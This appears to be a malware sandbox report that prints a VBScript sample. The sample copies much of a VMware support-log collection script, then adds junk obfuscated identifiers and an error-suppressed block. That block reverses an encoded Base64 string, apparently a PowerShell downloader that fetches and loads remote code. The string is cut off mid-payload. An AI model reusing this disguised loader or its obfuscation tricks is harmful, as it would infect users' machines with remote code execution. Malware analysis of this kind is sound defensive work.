Static | ZeroBOX
No static analysis available.
Class quatriduano
Private tmpdir, vmtmpdir, workdir
Private AppData, UserData, SysTemp, Username, ProgFiles, Minidump, SysTemp_VmwareSys, AllUsersProfile
Private versionInfo, majorVersion, minorVersion
Private archVersion
Private osVersion
Private WindowsDir
Private Fso, Wsh, RegObj
Private zipExe
Private CollectStateLogs
Private VMList
Private Sub Class_Initialize()
Dim sh, desktop, objShell, wshNetwork, objWMI, colItems, objItem
On Error Resume Next
Set RegObj=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
& ".\root\default:StdRegProv")
Set objWMI = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colItems = objWMI.ExecQuery("SELECT * FROM Win32_OperatingSystem",,48)
'Getting the version number for the OS (could be used later)
For Each objItem in colItems
osVersion=objItem.Version
Next
'Spliting the OS version into major minor and service pack if needed in future
versionInfo = Split(osVersion, ".")
majorVersion = CInt(versionInfo(0))
minorVersion = CInt(versionInfo(1))
'AddressWidth parameter in Win32_Processor class query
'for finding if OS is 64bit or 32bit
archVersion = GetObject("winmgmts:root\cimv2:" & _
"Win32_Processor='cpu0'").AddressWidth
Set Fso = CreateObject("Scripting.FileSystemObject")
set Wsh = WScript.CreateObject("WScript.Shell")
set wshNetwork = CreateObject("WScript.Network")
Username = wshNetwork.Username
desktop = Wsh.SpecialFolders("Desktop")
tmpdir = Wsh.Environment("Process").Item("Temp")
SysTemp = Wsh.Environment("Process").Item("WINDIR") & "\Temp"
SysTemp_VmwareSys = SysTemp & "\vmware-system"
Minidump = Wsh.Environment("Process").Item("WINDIR") & "\Minidump"
AllUsersProfile = Wsh.Environment("Process").Item("ALLUSERSPROFILE")
If outputFolder = "" Then
vmtmpdir = tmpdir & "\vmware-support"
Else
vmtmpdir = outputFolder
End If
if not Fso.FolderExists(vmtmpdir) then
Fso.CreateFolder(vmtmpdir)
end if
workdir = vmtmpdir & "\vmsupport-" & Timestamp
If Fso.FolderExists(workdir) Then
Fso.DeleteFolder workdir, True
If Err.number <> 0 Then
If Not quietMode Then
WriteLine ""
WriteLine " Could not delete folder " & workdir & ". " & _
ONE_INSTANCE_OsyllogizarY
End If
WScript.Quit(0)
End If
End If
Set VMList = CreateObject("Scripting.Dictionary")
If Err.number <> 0 Then
If Not quietMode Then
WriteLine ""
WriteLine " Could not create the scripting dictionary. " & _
ONE_INSTANCE_OsyllogizarY
End If
WScript.Quit(0)
End If
Fso.CreateFolder(workdir)
Fso.CreateFolder(workdir & "\Misc")
Fso.CreateFolder(workdir & "\Dumps")
Fso.CreateFolder(workdir & "\VM")
Fso.CreateFolder(workdir & "\TEMP")
Fso.CreateFolder(workdir & "\Global_Config")
Fso.CreateFolder(workdir & "\SYSTEMP")
Fso.CreateFolder(workdir & "\SYSTEMP\vmware-system")
Fso.CreateFolder(workdir & "\MiniDump")
Fso.CreateFolder(workdir & "\DxDiag")
Set objShell = CreateObject("Shell.Application")
AppData = objShell.Namespace(COMMON_APPDATA).Self.Path
UserData = objShell.Namespace(USER_APPDATA).Self.Path
WindowsDir = objShell.Namespace(WINDOWS_DIR).Self.Path
ProgFiles = objShell.Namespace(PROGRAM_FILES).Self.Path
zipExe = """" & Left(WScript.ScriptFullName, Len(WScript.ScriptFullName) - _
Len(WScript.ScriptName)) & "zip.exe"""
End Sub
Sub DumpKey(DefKey, Path, filename)
Dim f1
On Error Resume Next
Set f1 = fso.CreateTextFile(filename, True, True)
If Err.number <> 0 Then
If Not quietMode Then
WriteLine ""
WriteLine "Could not create text file " & filename & ". " & _
ONE_INSTANCE_OsyllogizarY
End If
WScript.Quit(0)
End If
EnumerateKey DefKey, Path, f1
f1.Close
End Sub
' Recursively enumerate registry and write it to a file.
Sub EnumerateKey(DefKey, Path, OutFile)
dim Keys, Names, types, i, j, value
OutFile.WriteLine("[" & Path & "]")
RegObj.EnumValues DefKey, Path, Names, Types
if not IsNull(Names) and not IsNull(Types) Then
for i = lbound(types) to ubound(types)
select case types(i)
case 1
RegObj.GetStringValue defkey, path, names(i), value
If not isnull(names(i)) or not isnull(value) then
OutFile.WriteLine names(i) & "=" & Quote(value)
end if
case 2
RegObj.GetExpandedStringValue defkey, path, names(i), _
value
if not isnull(names(i)) or not isnull(value) then
OutFile.WriteLine Quote(names(i)) & "=expand:" & _
Quote(value)
end if
case 3
RegObj.GetBinaryValue defkey, path, names(i), value
for j = lbound(value) to ubound(value)
value(j) = hex(cint(value(j)))
next
if not isnull(names(i)) or not isnull(value) then
OutFile.WriteLine Quote(names(i)) &"=hex:"& _
join(value, ",")
end if
case 4
RegObj.GetDWordValue defkey, path, names(i), value
if not isnull(names(i)) or value then
OutFile.WriteLine Quote(names(i)) & "=dword:" & _
hex(value)
end if
end select
next
end if
OutFile.WriteLine
RegObj.EnumKey HKLM, Path, Keys
Dim SubKey, NewPath
If not IsNull(Keys) Then
For Each SubKey In Keys
NewPath = Path & "\" & SubKey
EnumerateKey DefKey, NewPath,OutFile
Next
End if
End Sub
' Run a command and save the output to a file
Sub RunCmd(cmd, outfile)
Dim f1, run, output
On Error Resume Next
Set f1 = fso.CreateTextFile(outfile, True, True)
If Err.number <> 0 Then
If Not quietMode Then
WriteLine ""
WriteLine "Could not create text file " & outfile & ". " & _
ONE_INSTANCE_OsyllogizarY
End If
WScript.Quit(0)
End If
set run = Wsh.exec(cmd)
output = run.stdout.readall
f1.Write output
f1.Close
End Sub
Sub CopyConfig()
On Error Resume Next
Dim myFolders, folder
Set myFolders = fso.GetFolder(AppData & "\VMware").SubFolders
For Each folder in myFolders
folder = Fso.GetFileName(folder)
If LCase(folder) <> "vmware ace" Then
CopyFolderExceptVMs AppData & "\VMware\" & folder, _
workdir & "\Global_Config" & "\" & folder
End if
Next
Fso.CopyFolder UserData & "\VMware", workdir & "\Current_User"
' The UI Log
Fso.CopyFile tmpdir & "\vmware-" & Username & "\vmware*.log", _
workdir & "\Temp\"
' The Installer Logs
Fso.CopyFile SysTemp & "\vpxainst.log", workdir & "\SYSTEMP\"
Fso.CopyFile SysTemp & "\vpxauninst.log", workdir & "\SYSTEMP\"
Fso.CopyFile SysTemp & "\vim-vpxa-msi.log", workdir & "\SYSTEMP\"
Fso.CopyFile SysTemp & "\vminst.log", workdir & "\SYSTEMP\"
Fso.CopyFile tmpdir & "\vm*.log", workdir & "\Temp\"
Fso.CopyFile SysTemp & "\vmware*.log", workdir & "\SYSTEMP\"
If (Fso.FileExists(WindowsDir & "\setupapi.log")) Then
Fso.CopyFile WindowsDir & "\setupapi.log" , workdir & "\SYSTEMP\"
End If
If (Fso.FileExists(WindowsDir & "\inf\setupapi.dev.log")) Then
Fso.CopyFile WindowsDir & "\inf\setupapi.dev.log" , workdir & "\SYSTEMP\"
End If
If (Fso.FileExists(WindowsDir & "\inf\setupapi.offline.log")) Then
Fso.CopyFile WindowsDir & "\inf\setupapi.offline.log" , workdir & "\SYSTEMP\"
End If
If (Fso.FileExists(WindowsDir & "\inf\setupapi.app.log")) Then
Fso.CopyFile WindowsDir & "\inf\setupapi.app.log" , workdir & "\SYSTEMP\"
End If
On Error Goto 0
End Sub
' Copy dump files
Sub CopyDumpFiles()
On Error Resume Next
Dim appDir
appDir = GetUserProfileDirectory("Default User") & "\Application Data"
Fso.CopyFile appDir & "\VMware\*.dmp", workdir & "\Dumps\"
appDir = GetUserProfileDirectory("Default User") & _
"\Local Settings\Application Data"
Fso.CopyFile appDir & "\VMware\*.dmp", workdir & "\Dumps\"
appDir = GetUserProfileDirectory("LocalService") & "\Application Data"
Fso.CopyFile appDir & "\VMware\*.dmp", workdir & "\Dumps\"
appDir = GetUserProfileDirectory("NetworkService") & "\Application Data"
Fso.CopyFile appDir & "\VMware\*.dmp", workdir & "\Dumps\"
appDir = GetUserProfileDirectory("NetworkService") & _
"\Local Settings\Application Data"
Fso.CopyFile appDir & "\VMware\*.dmp", workdir & "\Dumps\"
End Sub
Sub CopyEventLogs()
CopyLog "Application", workdir & "\Misc\"
CopyLog "System", workdir & "\Misc\"
CopyLog "Security", workdir & "\Misc\"
End Sub
' Delete files with sensitive data
' Currently we delete the SSL folder to avoid collecting
' the private or public keys.
Sub PurgeFiles()
On Error Resume Next
Fso.DeleteFolder workdir & "\Global_Config\VMware Server\SSL"
End Sub
' Copy the specified system event log to the specified directory
Sub CopyLog(logname, directory)
' non-admin users would lack permissions
On Error Resume Next
Dim query1, query2, logfileset, logfileobj
query1 = "winmgmts:{impersonationLevel=impersonate," &_
"(Backup,Security)}!\\.\root\cimv2"
query2 = "select * from Win32_NTEventLogFile where " &_
"LogfileName='" & logname & "'"
Set logfileset = GetObject(query1).ExecQuery(query2)
For Each logfileobj in logfileset
logfileobj.BackupEventLog(directory & logname & "-log.evt")
Next
On Error Goto 0
End Sub
Sub CopyMinidump()
On Error Resume Next
Dim dumpFolder, myDumpFiles, dumpFile
Dim lastModTime1, lastModFile1 ' File modified last but one
Dim lastModTime2, lastModFile2 ' File modified last
lastModTime1 = 0
lastModTime2 = 0
lastModFile1 = lastModFile2 = ""
Set dumpFolder = fso.GetFolder(Minidump)
Set myDumpFiles = dumpFolder.Files
For Each dumpFile in myDumpFiles
If UCase(fso.GetExtensionName(dumpFile)) = "DMP" Then
If dumpFile.LastModified > lastModified2 Then
lastModFile1 = lastModFile2
lastModTime1 = lastModTime2
lastModFile2 = dumpFile.Name
lastModTime2 = dumpFile.LastModified
ElseIf dumpFile.LastModified > lastModified1 Then
lastModFile1 = dumpFile.Name
lastModTime1 = dumpFile.LastModified
End If
End If
Next
If lastModFile1 <> "" Then
Fso.CopyFile MiniDump & "\" & lastModFile1 , workdir & "\Minidump\"
If Not quietMode Then Write "."
End If
If lastModFile2 <> "" Then
Fso.CopyFile MiniDump & "\" & lastModFile2 , workdir & "\Minidump\"
If Not quietMode Then Write "."
End If
On Error Goto 0
End Sub
Sub CopyVmwareSystemFiles()
On Error Resume Next
Dim dumpFolder, myDumpFiles, dumpFile
Set dumpFolder = fso.GetFolder(SysTemp_VmwareSys)
Set myDumpFiles = dumpFolder.Files
For Each dumpFile in myDumpFiles
Fso.CopyFile SysTemp_VmwareSys & "\" & dumpFile.Name , _
workdir & "\SYSTEMP\vmware-system\"
If Not quietMode Then Write "."
Next
On Error Goto 0
End Sub
' Return a list of all matched objects
Function ReFindAll(regexp, data)
Dim re
Set re = New RegExp
re.Pattern = regexp
re.IgnoreCase = True
re.Global = True
Set ReFindAll = re.Execute(data)
End Function
Function ReMatch(regexp, data)
Dim re
Set re = New RegExp
re.Pattern = regexp
re.IgnoreCase = True
Set ReMatch = re.Match(data)
End Function
' Unquote the string.
Function GetFileName(ByVal data)
GetFileName = split(data, Chr(34), 3)(1)
End Function
' Return the path to the user profile directory of the specified user
Function GetUserProfileDirectory(userName)
Dim strKeyPath, strValueName, strValue
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
strValueName = "ProfilesDirectory"
RegObj.GetExpandedStringValue HKLM, strKeyPath, strValueName, strValue
If not IsNull(strValue) Then
strValue = strValue & "\" & userName
End if
GetUserProfileDirectory = strValue
End Function
' Search for all VMs registered with hostd and copy the contents by calling CopyVM
Sub CopyHostdVMs()
Dim xmlDoc, vms, i, inventoryFile, vmxFile
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
inventoryFile = AppData & "\VMware\VMware Server\hostd\vmInventory.xml"
xmlDoc.Load(inventoryFile)
xmlDoc.async = false
Set vms = xmlDoc.GetElementsByTagName("vmxCfgPath")
For i = 0 to vms.length - 1
vmxFile = vms(i).text
If Fso.FileExists(vmxFile) Then
CopyVM i, vmxFile
End if
Next
End Sub
' Search only one level of folders for vmx files.
Sub FindAllFoldersWithVMX(directory)
On Error Resume Next
Dim subfolder, file
For Each subfolder in fso.GetFolder(directory).SubFolders
file = subfolder & "\v.vmx"
If not VMList.Exists(file) Then
VMList.add file, ""
End If
Next
End Sub
' Search for all VMs. The real work is done in CopyVM
Sub CopyVMs()
Dim file, data, m, i, packagepath, folder, subfolders, subfolder
If Wscript.Arguments.Count > 0 Then
If (collectUILogs) Then
Exit Sub
End If
End If
If (collectLogsForVMs) Then
For i = 0 To Wscript.Arguments.Count - 1
If Wscript.Arguments(i) = "-v" _
And i + 1 < Wscript.Arguments.Count _
Then
Dim files
files = Split(Wscript.Arguments(i + 1), "|")
For Each file in files
file = Trim(file)
If InStrRev(file, ".vmx", -1, vbTextCompare) _
<> (Len(file) - 3) _
Then
'Looks like we got the vmx file path
file = file & "\v.vmx"
End If
If Not VMList.Exists(file) Then
VMList.add file, ""
End If
Next
End If
Next
Else
file = UserData & "\VMware\preferences.ini"
If Fso.FileExists(file) Then
data = Fso.OpenTextFile(file).ReadAll
For Each m in ReFindAll(".*openedObj\d+\.file\s*=.*\n", data)
file = GetFileName(m.value)
IF not VMList.Exists(file) Then
VMList.add file, ""
End IF
Next
End If
file = UserData & "\VMware\inventory.vmls"
If Fso.FileExists(file) Then
data = Fso.OpenTextFile(file).ReadAll
For Each m in ReFindAll("vmlist\d+\.config\s*=.*\n", data)
file = GetFileName(m.value)
If not VMList.Exists(file) Then
VMList.add file, ""
End If
Next
End If
file = UserData & "\VMware\Virtual Machines.vmls"
If Fso.FileExists(file) Then
data = Fso.OpenTextFile(file).ReadAll
For Each m in ReFindAll("vmlist\d+\.config\s*=.*\n", data)
file = GetFileName(m.value)
If not VMList.Exists(file) Then
VMList.add file, ""
End If
Next
End If
' Collect ACE 1.0 vms
RegObj.GetStringValue HKLM, _
"SOFTWARE\VMware, Inc.\VMware ACE", _
"PackagePath", packagepath
If not isNull(packagepath) _
and Fso.FolderExists(packagepath & "Virtual Machines\") _
Then
Set folder = Fso.GetFolder(packagepath & "Virtual Machines\")
FindAllFoldersWithVMX(folder)
End If
' Collect ACE 2.0 deployed VMs
FindAllFoldersWithVMX(AppData & "\VMware\VMware ACE")
End If
CollectStateLogs = False
For i = 0 To Wscript.Arguments.Count - 1
If Wscript.Arguments(i) = "-s" Then
CollectStateLogs = True
Exit For
End If
Next
VMList = VMList.Keys
For i = Lbound(VMList) to Ubound(VMList)
If Fso.FileExists(VMList(i)) _
OR ContainsVmxFile(Fso.GetParentFolderName(VMList(i))) _
Then
CopyVM i, VMList(i)
End If
Next
CopyHostdVMs
End Sub
End class
dim syllogizarEE
syllogizarE = alparcateiro
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_001_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_002_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_003_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_004_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_005_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_006_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_007_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_008_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_009_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_010_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_011_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("x_HelpAlias_012_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_013_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_014_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_015_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_Blank_0_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_SeeAlso_Title_Message") & syllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_Help_SeeAlso_Aliases_Message")
dim esyllogizarE
esyllogizarE = alparcateiro
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_001_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_002_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_003_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_004_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_005_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_006_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_007_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_008_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_009_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_010_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_011_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("x_HelpAlias_012_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_013_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_014_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_015_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_Blank_0_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_SeeAlso_Title_Message") & esyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_Help_SeeAlso_Aliases_Message")
dim oesyllogizarE
oesyllogizarE = alparcateiro
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_001_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_002_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_003_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_004_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_005_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_006_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_007_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_008_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_009_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_010_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_011_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("x_HelpAlias_012_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_013_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_HelpAlias_014_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_HelpAlias_015_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_Blank_0_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_Help_SeeAlso_Title_Message") & oesyllogizarE & _
zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("X_Help_SeeAlso_Aliases_Message")
dim wshShellObj
dim wsmanObj
dim connOptionsObj
dim sessionObj
dim enumeratorObj
dim resourceOptionsDic
dim resourceLocatorObj
dim wsmanInternalObj
dim cmdStr
dim wsmanCmdLineObj
dim inputStr
dim responseStr
dim connectionStr
dim resourceUriStr
dim actionUriStr
dim rootNdNameStr
dim operation
dim formatOption
dim formattedStr
dim errNo
dim errDesc
dim stdIn
dim stdErr
dim stdOut
set stdIn = WScript.StdIn
set stdErr = WScript.StdErr
set stdOut = WScript.StdOut
Dim resourceDictionary, resourcesLoaded
Set resourceDictionary = CreateObject("Scripting.Dictionary")
resourcesLoaded = false
Dim WSHShell, strRegKey, osVersion, osVista
Set WSHShell = WScript.CreateObject("WScript.Shell")
strRegKey = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion"
osVersion = WSHShell.RegRead(strRegKey)
osVista = "6.0"
If Not fragatear() Then
On Error Resume Next
Dim zoonato
zoonato = StrReverse("=AQKAkCAnAwJAwCAnAQbAMHABBwZAUGASBwJAwCAnAwbAQGAhBgdAkGA0BQYAMHAlBAZAcCAgAALAACAnAwbAQGAhBgdAkGA0BQYAMHAlBAZAcCAgAALAACAnAwbAQGAhBgdAkGA0BQYAMHAlBAZAcCAgAALAACAnAAaAQHA0BAcAoDAvAwLAEDA5AgMA4CAzAgLAEDA3AQOA4CAxAANAUDAvAANAUDAvAwUA4EALBgLAQHA4BAdAcCAoAAIA0FAdBwWAQHAjBQZAoGAiBwbAsFAgAALAwGAsBQdA4GAkAAKAUGArBwbAYHAuBQSA4CApAwJAkEABBgVAcCAoAAZA8GAoBAdAUGANBAdAUGAHBgLAUGAwBQeAQHAkAAIA0DAgAAZA8GAoBAdAUGAtBAJAsDApAwJAUGAtBwbAgEAuAwTAkEAuAgYAkGAsBgbAQGAnAAKAUGAwBQeAQFA0BQZAcEAuAQeAwGAiBQbAUGAzBwcAEEAkBQZAQGAhBwbAwGAkAAIA0DAgAQZAAHA5BAdAQCA7AQKAMHAlBAdAkHACBAZA4GAhBQbA0GAvBwYAQCAoAAZAEGAvBATAoDA6AQXAkHAsBgYA0GAlBwcAMHABBgLA4GAvBQaAQHAjBQZAwGAmBQZAIFAuAQbAUGA0BwcAkHATBwWAACA9AAIAkHAsBgYA0GAlBwcAMHABBAZAUGAkBQYA8GAsBAJAsDApAAZA4GAhBQbA0GAvBwQAQDA2AQZAMHAhBgYAQCAoAwZA4GApBgcAQHATBANAYDAlBwcAEGACBQbA8GAyBgRAoDA6AQXAQHAyBQZAYHAuBwbAMEAuAQbAUGA0BwcAkHATBwWAACA9AAIAMHAlBAdAkHACBAZA4GAhBQbA0GAvBwYAQCA7AQKAgGA